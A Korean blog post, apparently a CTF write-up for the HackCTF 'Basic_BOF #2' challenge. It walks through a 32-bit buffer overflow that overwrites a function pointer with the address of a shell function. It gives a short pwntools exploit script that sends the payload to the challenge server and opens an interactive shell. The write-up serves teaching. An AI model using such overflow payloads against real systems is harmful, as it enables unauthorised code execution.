본문 바로가기
시스템 해킹/CTF

[HackCTF] Basic_BOF #2

by L3m0n S0ju 2021. 9. 12.

 

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[128]; // [esp+Ch] [ebp-8Ch] BYREF
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(buf, 133, stdin);
  v5();
  return 0;
}

 

 


32비트 elf 파일을 ida로 분석하면 위와 같습니다. gdb로 확인하면 buf의 위치는 ebp-0x8c 이고 v5 함수는 ebp-0xc 위치에 있습니다. 따라서 buf와 v5함수는 128만큼의 거리가 있고 fgets로 133까지 입력할 수 있으므로 버퍼오버플로우가 일어나게 된다. 이때 IDA에서 shell을 실행할 수 있는 함수를 찾아보면 dash 쉘을 실행하는 함수를 찾을 수 있다. shell 주소를 v5함수 위치에 덮어씌우면 쉘을 탈취할 수 있다.

 

int shell()
{
  return system("/bin/dash");
}

 

 

 

 

 

 

익스플로잇 코드


#!/usr/bin/python

 

from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3001)
payload=b"A"*128+b"\x9b\x84\x04\x08"
r.send(payload)
r.interactive()

 

 

 

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] x64 Buffer Overflow  (0) 2021.09.13
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.09.12
[HackCTF] Basic_BOF #1  (0) 2021.09.10
[Square CTF] 6yte  (0) 2021.09.04
[Square CTF] Bytes  (0) 2021.09.04

댓글